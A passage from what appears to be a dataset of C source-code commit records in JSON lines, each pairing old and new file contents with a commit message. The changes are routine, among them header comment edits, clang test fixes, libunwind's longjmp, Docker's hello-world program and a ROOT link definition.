macos version *\/\n#define __assert_rtn(function, file, line, assertion) abort()\n\n\/*\n * threads\n *\/\n\ntypedef int thread_t;\n\ntypedef int (*thread_create_routine)(void*);\n\nthread_t sledge_thread_create(thread_create_routine entry, void* arg);\n\nvoid sledge_thread_resume(thread_t thread);\n\nint sledge_thread_join(thread_t thread);\n\n\/*\n * cct\n *\/\n\nvoid cct_point(void);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Adjust declared types of llair intrinsics","message":"[sledge] Adjust declared types of llair intrinsics\n\nSummary:\nInternally __llair_alloc and __llair_choice are treated as full-width\nsigned integers, so use the `long` C type.\n\nDifferential Revision: D39136450\n\nfbshipit-source-id: 1ebeff4fe2dcd3cb75d7d13e2798a82c275218a4\n","lang":"C","license":"mit","repos":"facebook\/infer,facebook\/infer,facebook\/infer,facebook\/infer,facebook\/infer,facebook\/infer,facebook\/infer"}
{"commit":"d2a6fe1cda60bf6dd025b24160e47707229e34fc","old_file":"arc\/arc\/Model\/FileObject.h","new_file":"arc\/arc\/Model\/FileObject.h","old_contents":"\/\/\n\/\/  FileObject.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface FileObject : NSObject {\n    @protected\n    NSURL* _url;\n    id _contents;\n    BOOL _needsRefresh;\n}\n\n\/\/ The name of this object.\n@property (strong, nonatomic) NSString* name;\n\n\/\/ The full file path of this object.\n@property (strong, nonatomic) NSString* path;\n\n\/\/ The parent of this object (if any.)\n@property (weak, nonatomic) FileObject* parent;\n\n\/\/ Creates a FileObject to represent the given URL.\n\/\/ url should be an object on the file system.\n- (id)initWithURL:(NSURL*)url;\n\n\/\/ Creates a FileObject to represent the given URL,\n\/\/ with its parent set to the given FileObject.\n- (id)initWithURL:(NSURL*)url parent:(FileObject*)parent;\n\n\/\/ Refreshes the contents of this object by reloading\n\/\/ them from the file system.\n\/\/ Returns the contents when done.\n- (id)refreshContents;\n\n\/\/ Flags this object as needing its contents refreshed.\n- (void)flagForRefresh;\n\n\/\/ Gets the contents of this object.\n- (id)getContents;\n\n\/\/ Removes this object from the file system.\n\/\/ Returns YES if successful, NO otherwise.\n- (BOOL)remove;\n\n@end\n","new_contents":"\/\/\n\/\/  FileObject.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface FileObject : NSObject {\n    @protected\n    NSURL* _url;\n    id _contents;\n    BOOL _needsRefresh;\n}\n\n\/\/ The name of this object.\n@property (strong, nonatomic) NSString* name;\n\n\/\/ The full file path of this object. Can be used\n\/\/ to recreate an NSURL.\n@property (strong, nonatomic) NSString* path;\n\n\/\/ The parent of this object (if any.)\n@property (weak, nonatomic) FileObject* parent;\n\n\/\/ Creates a FileObject to represent the given URL.\n\/\/ url should be an object on the file system.\n- (id)initWithURL:(NSURL*)url;\n\n\/\/ Creates a FileObject to represent the given URL,\n\/\/ with its parent set to the given FileObject.\n- (id)initWithURL:(NSURL*)url parent:(FileObject*)parent;\n\n\/\/ Refreshes the contents of this object by reloading\n\/\/ them from the file system.\n\/\/ Returns the contents when done.\n- (id)refreshContents;\n\n\/\/ Flags this object as needing its contents refreshed.\n- (void)flagForRefresh;\n\n\/\/ Gets the contents of this object.\n- (id)getContents;\n\n\/\/ Removes this object from the file system.\n\/\/ Returns YES if successful, NO otherwise.\n- (BOOL)remove;\n\n@end\n","subject":"Add explaining comment for path property.","message":"Add explaining comment for path property.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"158a3e9064a37f46d22b3ff4012da72489d2d381","old_file":"src\/status.h","new_file":"src\/status.h","old_contents":"\/**\n * File:   status.h\n * Author: Alex Savarda\n *\/\n\n#ifndef STATUS_H\n#define STATUS_H\n\ntypedef struct {\n    unsigned int m_stat;\n    unsigned int W_stat;\n} statusType;\n\n#endif  \/* STATUS_H *\/\n","new_contents":"\/*\n * File:   status.h\n * Author: Alex Savarda\n *\/\n\n#ifndef STATUS_H\n#define STATUS_H\n\ntypedef struct {\n    unsigned int m_stat;\n    unsigned int W_stat;\n} statusType;\n\n#endif  \/* STATUS_H *\/\n","subject":"Change file header to C style","message":"Change file header to C style\n","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"46058a38137b55bace74a60ff9cdc1418e7ea440","old_file":"tmpmon_base\/config.h","new_file":"tmpmon_base\/config.h","old_contents":"\/\/ Global configuration information\r\n\/\/ \r\n\r\n\/\/ Connection information\r\n\r\n#define SERIAL_BAUD 115200\r\n\r\n","new_contents":"\/\/ Global configuration information\r\n\/\/ \r\n\r\n\/\/ Connection information\r\n\r\n#define SERIAL_BAUD 9600\r\n\r\n","subject":"FIX - Lowered baud rates to 9600","message":"FIX - Lowered baud rates to 9600\n","lang":"C","license":"mit","repos":"gauravmm\/Remote-Temperature-Monitor,gauravmm\/Remote-Temperature-Monitor,gauravmm\/Remote-Temperature-Monitor,gauravmm\/Remote-Temperature-Monitor"}
{"commit":"4f16756123d6203bc1ce4977032fb93c632a5a56","old_file":"src\/setjmp\/longjmp.c","new_file":"src\/setjmp\/longjmp.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2003-2004 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#define UNW_LOCAL_ONLY\n\n#include <assert.h>\n#include <libunwind.h>\n#include <setjmp.h>\n#include <signal.h>\n#include <stdlib.h>\n\n#include \"jmpbuf.h\"\n#include \"setjmp_i.h\"\n\nvoid\n_longjmp (jmp_buf env, int val)\n{\n  extern int _UI_longjmp_cont;\n  unw_context_t uc;\n  unw_cursor_t c;\n  unw_word_t sp;\n  unw_word_t *wp = (unw_word_t *) env;\n\n  if (unw_getcontext (&uc) < 0 || unw_init_local (&c, &uc) < 0)\n    abort ();\n\n  do\n    {\n      if (unw_get_reg (&c, UNW_REG_SP, &sp) < 0)\n\tabort ();\n      if (sp != wp[JB_SP])\n\tcontinue;\n\n      if (!bsp_match (&c, wp))\n\tcontinue;\n\n      \/* found the right frame: *\/\n\n      assert (UNW_NUM_EH_REGS >= 2);\n\n      if (unw_set_reg (&c, UNW_REG_EH + 0, wp[JB_RP]) < 0\n\t  || unw_set_reg (&c, UNW_REG_EH + 1, val) < 0\n\t  || unw_set_reg (&c, UNW_REG_IP,\n\t\t\t  (unw_word_t) &_UI_longjmp_cont))\n\tabort ();\n\n      unw_resume (&c);\n\n      abort ();\n    }\n  while (unw_step (&c) >= 0);\n\n  abort ();\n}\n\n#ifdef __GNUC__\nvoid longjmp (jmp_buf env, int val) __attribute__ ((alias (\"_longjmp\")));\n#else\n\nvoid\nlongjmp (jmp_buf env, int val)\n{\n  _longjmp (env, val);\n}\n\n#endif\n","subject":"Include \"setjmp_i.h\". Abstract ia64-specific code into bsp_match() routine. Support any platform with at least 2 EH argument registers.","message":"Include \"setjmp_i.h\".\nAbstract ia64-specific code into bsp_match() routine.\nSupport any platform with at least 2 EH argument registers.\n\n2004\/12\/06 01:33:16-08:00 mostang.com!davidm\nRename: src\/longjmp.c -> src\/setjmp\/longjmp.c\n\n(Logical change 1.290)\n","lang":"C","license":"mit","repos":"bo-on-software\/libunwind,geekboxzone\/mmallow_external_libunwind,zeldin\/platform_external_libunwind,fillexen\/libunwind,lat\/libunwind,ehsan\/libunwind,djwatson\/libunwind,rantala\/libunwind,bo-on-software\/libunwind,fdoray\/libunwind,maltek\/platform_external_libunwind,tkelman\/libunwind,maltek\/platform_external_libunwind,project-zerus\/libunwind,dagar\/libunwind,libunwind\/libunwind,project-zerus\/libunwind,joyent\/libunwind,CyanogenMod\/android_external_libunwind,dropbox\/libunwind,joyent\/libunwind,androidarmv6\/android_external_libunwind,geekboxzone\/mmallow_external_libunwind,yuyichao\/libunwind,pathscale\/libunwind,krytarowski\/libunwind,tkelman\/libunwind,rantala\/libunwind,olibc\/libunwind,android-ia\/platform_external_libunwind,vtjnash\/libunwind,dreal-deps\/libunwind,dreal-deps\/libunwind,adsharma\/libunwind,DroidSim\/platform_external_libunwind,Keno\/libunwind,dagar\/libunwind,cms-externals\/libunwind,rantala\/libunwind,CyanogenMod\/android_external_libunwind,unkadoug\/libunwind,cms-externals\/libunwind,martyone\/libunwind,Chilledheart\/libunwind,0xlab\/0xdroid-external_libunwind,jrmuizel\/libunwind,bo-on-software\/libunwind,atanasyan\/libunwind,Chilledheart\/libunwind,atanasyan\/libunwind-android,evaautomation\/libunwind,djwatson\/libunwind,0xlab\/0xdroid-external_libunwind,jrmuizel\/libunwind,ehsan\/libunwind,atanasyan\/libunwind,olibc\/libunwind,djwatson\/libunwind,CyanogenMod\/android_external_libunwind,tony\/libunwind,project-zerus\/libunwind,dropbox\/libunwind,android-ia\/platform_external_libunwind,libunwind\/libunwind,SyndicateRogue\/libunwind,zliu2014\/libunwind-tilegx,tkelman\/libunwind,geekboxzone\/lollipop_external_libunwind,unkadoug\/libunwind,ehsan\/libunwind,mpercy\/libunwind,joyent\/libunwind,vegard\/libunwind,wdv4758h\/libunwind,igprof\/libunwind,androidarmv6\/android_external_libunwind,tronical\/libunwind,android-ia\/platform_external_libunwind,dropbox\/libunwind,unkadoug\/libunwind,fdoray\/libunwind,fillexen\/libunwind,geekboxzone\/lollipop_external_libunwind,rntz\/libunwind,SyndicateRogue\/libunwind,DroidSim\/platform_external_libunwind,libunwind\/libunwind,cms-externals\/libunwind,mpercy\/libunwind,vtjnash\/libunwind,wdv4758h\/libunwind,dreal-deps\/libunwind,wdv4758h\/libunwind,martyone\/libunwind,geekboxzone\/mmallow_external_libunwind,geekboxzone\/lollipop_external_libunwind,krytarowski\/libunwind,adsharma\/libunwind,vegard\/libunwind,Keno\/libunwind,yuyichao\/libunwind,SyndicateRogue\/libunwind,evaautomation\/libunwind,pathscale\/libunwind,yuyichao\/libunwind,evaautomation\/libunwind,tony\/libunwind,DroidSim\/platform_external_libunwind,tony\/libunwind,lat\/libunwind,zliu2014\/libunwind-tilegx,zeldin\/platform_external_libunwind,lat\/libunwind,mpercy\/libunwind,Chilledheart\/libunwind,maltek\/platform_external_libunwind,frida\/libunwind,tronical\/libunwind,igprof\/libunwind,fillexen\/libunwind,dagar\/libunwind,pathscale\/libunwind,rogwfu\/libunwind,krytarowski\/libunwind,adsharma\/libunwind,frida\/libunwind,olibc\/libunwind,cloudius-systems\/libunwind,tronical\/libunwind,vtjnash\/libunwind,zeldin\/platform_external_libunwind,androidarmv6\/android_external_libunwind,0xlab\/0xdroid-external_libunwind,fdoray\/libunwind,frida\/libunwind,Keno\/libunwind,martyone\/libunwind,zliu2014\/libunwind-tilegx,igprof\/libunwind,cloudius-systems\/libunwind,cloudius-systems\/libunwind,rogwfu\/libunwind,jrmuizel\/libunwind,rntz\/libunwind,vegard\/libunwind,atanasyan\/libunwind-android,rntz\/libunwind,atanasyan\/libunwind,rogwfu\/libunwind,atanasyan\/libunwind-android"}
{"commit":"bcb54520eb9aaf2c25660380f7301ff3f4d284d5","old_file":"test\/CodeGen\/pr9614.c","new_file":"test\/CodeGen\/pr9614.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\nextern void foo_alias (void) __asm (\"foo\");\ninline void foo (void) {\n  return foo_alias ();\n}\nextern void bar_alias (void) __asm (\"bar\");\ninline __attribute__ ((__always_inline__)) void bar (void) {\n  return bar_alias ();\n}\nvoid f(void) {\n  foo();\n  bar();\n}\n\n\/\/ CHECK: define void @f()\n\/\/ CHECK-NEXT: entry:\n\/\/ CHECK-NEXT: call void @foo()\n\/\/ CHECK-NEXT: call void @bar()\n\/\/ CHECK-NEXT: ret void\n\n\/\/ CHECK: declare void @foo()\n\/\/ CHECK: declare void @bar()\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -O1 -o - | FileCheck %s\n\nextern void foo_alias (void) __asm (\"foo\");\ninline void foo (void) {\n  return foo_alias ();\n}\nextern void bar_alias (void) __asm (\"bar\");\ninline __attribute__ ((__always_inline__)) void bar (void) {\n  return bar_alias ();\n}\nvoid f(void) {\n  foo();\n  bar();\n}\n\n\/\/ CHECK: define void @f()\n\/\/ CHECK: call void @foo()\n\/\/ CHECK-NEXT: call void @bar()\n\/\/ CHECK-NEXT: ret void\n\n\/\/ CHECK: declare void @foo()\n\/\/ CHECK: declare void @bar()\n","subject":"Fix this on the bots and make the test more complete by enabling optimizations.","message":"Fix this on the bots and make the test more complete by enabling optimizations.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@143223 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"a23dcce1d04354a1fa4bd0a794e60ff74521db1b","old_file":"test\/Sema\/128bitint.c","new_file":"test\/Sema\/128bitint.c","old_contents":"\/\/ RUN: clang-cc -fsyntax-only -verify %s\ntypedef int i128 __attribute__((__mode__(TI)));\ntypedef unsigned u128 __attribute__((__mode__(TI)));\n\nint a[((i128)-1 ^ (i128)-2) == 1 ? 1 : -1];\nint a[(u128)-1 > 1LL ? 1 : -1];\n\n\/\/ PR5435\n__uint128_t b = (__uint128_t)-1;\n","new_contents":"\/\/ RUN: clang-cc -fsyntax-only -verify -triple x86_64-apple-darwin9 %s\ntypedef int i128 __attribute__((__mode__(TI)));\ntypedef unsigned u128 __attribute__((__mode__(TI)));\n\nint a[((i128)-1 ^ (i128)-2) == 1 ? 1 : -1];\nint a[(u128)-1 > 1LL ? 1 : -1];\n\n\/\/ PR5435\n__uint128_t b = (__uint128_t)-1;\n","subject":"Add a triple to try to fix the buildbot error.","message":"Add a triple to try to fix the buildbot error.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@86563 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"65a04e22843f7777fe8e20a1433c033a44a30198","old_file":"DMNotificationObserver.h","new_file":"DMNotificationObserver.h","old_contents":"\/\/\n\/\/  DMNotificationObserver.h\n\/\/  Library\n\/\/\n\/\/  Created by Jonathon Mah on 2011-07-11.\n\/\/  Copyright 2011 Delicious Monster Software. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n\/* The action block is passed the notification, the owner as a parameter (to avoid retain cycles),\n * and the triggering observer (so it can easiliy invalidate it if it needs to). *\/\n@class DMNotificationObserver;\ntypedef void(^DMNotificationActionBlock)(NSNotification *notification, id localOwner, DMNotificationObserver *observer);\n\n\n@interface DMNotificationObserver : NSObject\n\n+ (id)observerForName:(NSString *)notificationName\n               object:(id)notificationSender\n                owner:(id)owner\n               action:(DMNotificationActionBlock)actionBlock\n                      __attribute__((__nonnull__(1,3,4)));\n\n- (id)initWithName:(NSString *)notificationName\n            object:(id)notificationSender\n             owner:(id)owner\n            action:(DMNotificationActionBlock)actionBlock\n                   __attribute__((__nonnull__(1,3,4)));\n\n- (void)fireAction:(NSNotification *)notification;\n- (void)invalidate;\n\n@end\n","new_contents":"\/\/\n\/\/  DMNotificationObserver.h\n\/\/  Library\n\/\/\n\/\/  Created by Jonathon Mah on 2011-07-11.\n\/\/  Copyright 2011 Delicious Monster Software. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n\/* The action block is passed the notification, the owner as a parameter (to avoid retain cycles),\n * and the triggering observer (so it can easiliy invalidate it if it needs to). *\/\n@class DMNotificationObserver;\ntypedef void(^DMNotificationActionBlock)(NSNotification *notification, id localOwner, DMNotificationObserver *observer);\n\n\n@interface DMNotificationObserver : NSObject\n\n+ (id)observerForName:(NSString *)notificationName\n               object:(id)notificationSender\n                owner:(id)owner\n               action:(DMNotificationActionBlock)actionBlock\n                      __attribute__((nonnull(1,3,4)));\n\n- (id)initWithName:(NSString *)notificationName\n            object:(id)notificationSender\n             owner:(id)owner\n            action:(DMNotificationActionBlock)actionBlock\n                   __attribute__((nonnull(1,3,4)));\n\n- (void)fireAction:(NSNotification *)notification;\n- (void)invalidate;\n\n@end\n","subject":"Standardize on nonnull attribute (vs __nonnull__)","message":"Standardize on nonnull attribute (vs __nonnull__)\n","lang":"C","license":"apache-2.0","repos":"delicious-monster\/DMAutoInvalidation"}
{"commit":"f55431e897ce62a2f4697a488467e8b7a1bdedcd","old_file":"hello.c","new_file":"hello.c","old_contents":"","new_contents":"\/* hello.c\n\nbuild with:\n\n gcc -nostartfiles -fno-asynchronous-unwind-tables -Os -static -o hello hello.c\n strip -R .comment -s hello\n\n*\/\n\n#include <unistd.h>\n\nconst char message[] = \"\\n\"\n\"Hello from Docker.\\n\"\n\"This message shows that your installation appears to be working correctly.\\n\"\n\"\\n\"\n\"To generate this message, Docker took the following steps:\\n\"\n\" 1. The Docker client contacted the Docker daemon.\\n\"\n\" 2. The Docker daemon pulled the \\\"hello-world\\\" image from the Docker Hub.\\n\"\n\" 3. The Docker daemon created a new container from that image which runs the\\n\"\n\"    executable that produces the output you are currently reading.\\n\"\n\" 4. The Docker daemon streamed that output to the Docker client, which sent it\\n\"\n\"    to your terminal.\\n\"\n\"\\n\"\n\"To try something more ambitious, you can run an Ubuntu container with:\\n\"\n\" $ docker run -it ubuntu bash\\n\"\n\"\\n\"\n\"Share images, automate workflows, and more with a free Docker Hub account:\\n\"\n\" https:\/\/hub.docker.com\\n\"\n\"\\n\"\n\"For more examples and ideas, visit:\\n\"\n\" https:\/\/docs.docker.com\/userguide\/\\n\"\n\"\\n\";\n\nvoid _start()\n{\n\twrite(1, message, sizeof(message)-1);\n\t_exit(0);\n}\n\n","subject":"Replace with portable version in C","message":"Replace with portable version in C\n\nBuild a minimal version in C instead of assembly so it easily can be\nported to other archs.\n\nThis statically linked C version builds a binary that is 1472 bytes.\n\nfixes #7\n","lang":"C","license":"mit","repos":"infosiftr\/hello-world,Posytron\/teste,docker-library\/hello-world,docker-library\/hello-world,infosiftr\/hello-world,Posytron\/teste"}
{"commit":"0b963c5a4eccde9050903d6859faee9096d3ce2b","old_file":"test\/entrytestsuite.h","new_file":"test\/entrytestsuite.h","old_contents":"#ifndef ENTRYTESTSUITE\n#define ENTRYTESTSUITE\n\n#include <cxxtest\/TestSuite.h>\n#include \"..\/src\/entry.h\"\n\nclass EntryTestSuite : public CxxTest::TestSuite\n{\npublic:\n    void testEntryHasGivenTitle(void)\n    {\n        testEntry.setTitle(\"testTitle\");\n        TS_ASSERT_SAME_DATA(testEntry.title().c_str(), \"testTitle\", 9);\n    }\n\n    diaryengine::Entry testEntry;\n};\n\n\n#endif \/\/ ENTRYTESTSUITE\n\n","new_contents":"#ifndef ENTRYTESTSUITE\n#define ENTRYTESTSUITE\n\n#include <cxxtest\/TestSuite.h>\n#include <qt5\/QtCore\/QDateTime>\n#include \"..\/src\/entry.h\"\n\nclass EntryTestSuite : public CxxTest::TestSuite\n{\npublic:\n    void testTitleCanBeSetCorrectly(void)\n    {\n      testEntry.setTitle(\"testTitle\");\n      TS_ASSERT_SAME_DATA(testEntry.title().c_str(), \"testTitle\", 9);\n    }\n\n    void testDateCanBeSetCorrectlyWithISOString(void)\n    {\n      testEntry.setDate(\"2007-03-01T13:00:00Z\");\n      TS_ASSERT(testEntry.date() == \"2007-03-01T13:00:00Z\");\n    }\n\n    void testDateUnderstandsTimeZone(void)\n    {\n      testEntry.setDate(\"2007-03-01T13:00:00+02:00\");\n      TS_ASSERT(testEntry.date() == \"2007-03-01T13:00:00+02:00\");\n    }\n\n    void testIdRegenerationGeneratesDifferentUUID()\n    {\n      testEntry.regenerateId();\n      long id = testEntry.id();\n      testEntry.regenerateId();\n      TS_ASSERT_DIFFERS(testEntry.id(), id);\n    }\n\n    diaryengine::Entry testEntry;\n};\n\n\n#endif \/\/ ENTRYTESTSUITE\n\n","subject":"Add tests for id generation and ISO date strings","message":"Add tests for id generation and ISO date strings\n","lang":"C","license":"bsd-3-clause","repos":"Acce0ss\/diary-engine"}
{"commit":"543e3925dae7dbe3fb2d5f81b193f2f796e0cd8f","old_file":"tree\/treeplayer\/inc\/DataFrameLinkDef.h","new_file":"tree\/treeplayer\/inc\/DataFrameLinkDef.h","old_contents":"\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __ROOTCLING__\n\n\/\/ All these are there for the autoloading\n#pragma link C++ class ROOT::Experimental::TDataFrame-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameFilterBase>-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameBranchBase>-;\n\n#endif\n","new_contents":"\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __ROOTCLING__\n\n\/\/ All these are there for the autoloading\n#pragma link C++ class ROOT::Experimental::TDataFrame-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameFilterBase>-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameBranchBase>-;\n#pragma link C++ class ROOT::Detail::TDataFrameImpl-;\n\n#endif\n","subject":"Add another autoload key for TDataFrameImpl'","message":"[TDF] Add another autoload key for TDataFrameImpl'\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,root-mirror\/root,BerserkerTroll\/root,bbockelm\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,simonpf\/root,olifre\/root,simonpf\/root,bbockelm\/root,bbockelm\/root,zzxuanyuan\/root,BerserkerTroll\/root,zzxuanyuan\/root,mhuwiler\/rootauto,bbockelm\/root,zzxuanyuan\/root,agarciamontoro\/root,mhuwiler\/rootauto,simonpf\/root,olifre\/root,mhuwiler\/rootauto,olifre\/root,mhuwiler\/rootauto,beniz\/root,davidlt\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,bbockelm\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,mhuwiler\/rootauto,olifre\/root,buuck\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,beniz\/root,zzxuanyuan\/root,davidlt\/root,zzxuanyuan\/root,buuck\/root,BerserkerTroll\/root,satyarth934\/root,bbockelm\/root,karies\/root,beniz\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,olifre\/root,karies\/root,buuck\/root,davidlt\/root,root-mirror\/root,root-mirror\/root,karies\/root,agarciamontoro\/root,simonpf\/root,buuck\/root,root-mirror\/root,simonpf\/root,bbockelm\/root,satyarth934\/root,mhuwiler\/rootauto,davidlt\/root,karies\/root,zzxuanyuan\/root,bbockelm\/root,zzxuanyuan\/root,simonpf\/root,satyarth934\/root,satyarth934\/root,satyarth934\/root,buuck\/root,satyarth934\/root,BerserkerTroll\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,karies\/root,agarciamontoro\/root,satyarth934\/root,BerserkerTroll\/root,bbockelm\/root,root-mirror\/root,olifre\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,buuck\/root,buuck\/root,simonpf\/root,BerserkerTroll\/root,mhuwiler\/rootauto,karies\/root,agarciamontoro\/root,bbockelm\/root,davidlt\/root,agarciamontoro\/root,beniz\/root,bbockelm\/root,agarciamontoro\/root,zzxuanyuan\/root,simonpf\/root,beniz\/root,root-mirror\/root,zzxuanyuan\/root,karies\/root,zzxuanyuan\/root,satyarth934\/root,buuck\/root,davidlt\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,olifre\/root,davidlt\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,agarciamontoro\/root,davidlt\/root,olifre\/root,karies\/root,agarciamontoro\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,BerserkerTroll\/root,agarciamontoro\/root,root-mirror\/root,simonpf\/root,beniz\/root,agarciamontoro\/root,BerserkerTroll\/root,root-mirror\/root,davidlt\/root,olifre\/root,zzxuanyuan\/root,beniz\/root,buuck\/root,simonpf\/root,beniz\/root,buuck\/root,karies\/root,beniz\/root,davidlt\/root,BerserkerTroll\/root,buuck\/root,BerserkerTroll\/root"}
{"commit":"7638cf06ae8312e7f8407354b5aae2eba318fa84","old_file":"test\/Analysis\/html-diags-multifile.c","new_file":"test\/Analysis\/html-diags-multifile.c","old_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: %clang_cc1 -analyze -analyzer-output=html -analyzer-checker=core -o %t.dir\n\/\/ RUN: ls %t.dir | not grep report\n\/\/ RUN: rm -fR %t.dir\n\n\/\/ This tests that we do not currently emit HTML diagnostics for reports that\n\/\/ cross file boundaries.\n\n#include \"html-diags-multifile.h\"\n\n#define CALL_HAS_BUG(q) has_bug(q)\n\nvoid test_call_macro() {\n  CALL_HAS_BUG(0);\n}\n\n","new_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: %clang_cc1 -analyze -analyzer-output=html -analyzer-checker=core -o %t.dir %s\n\/\/ RUN: ls %t.dir | not grep report\n\/\/ RUN: rm -fR %t.dir\n\n\/\/ This tests that we do not currently emit HTML diagnostics for reports that\n\/\/ cross file boundaries.\n\n#include \"html-diags-multifile.h\"\n\n#define CALL_HAS_BUG(q) has_bug(q)\n\nvoid test_call_macro() {\n  CALL_HAS_BUG(0);\n}\n\n","subject":"Fix test that wasn't testing anything","message":"Fix test that wasn't testing anything\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@194069 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
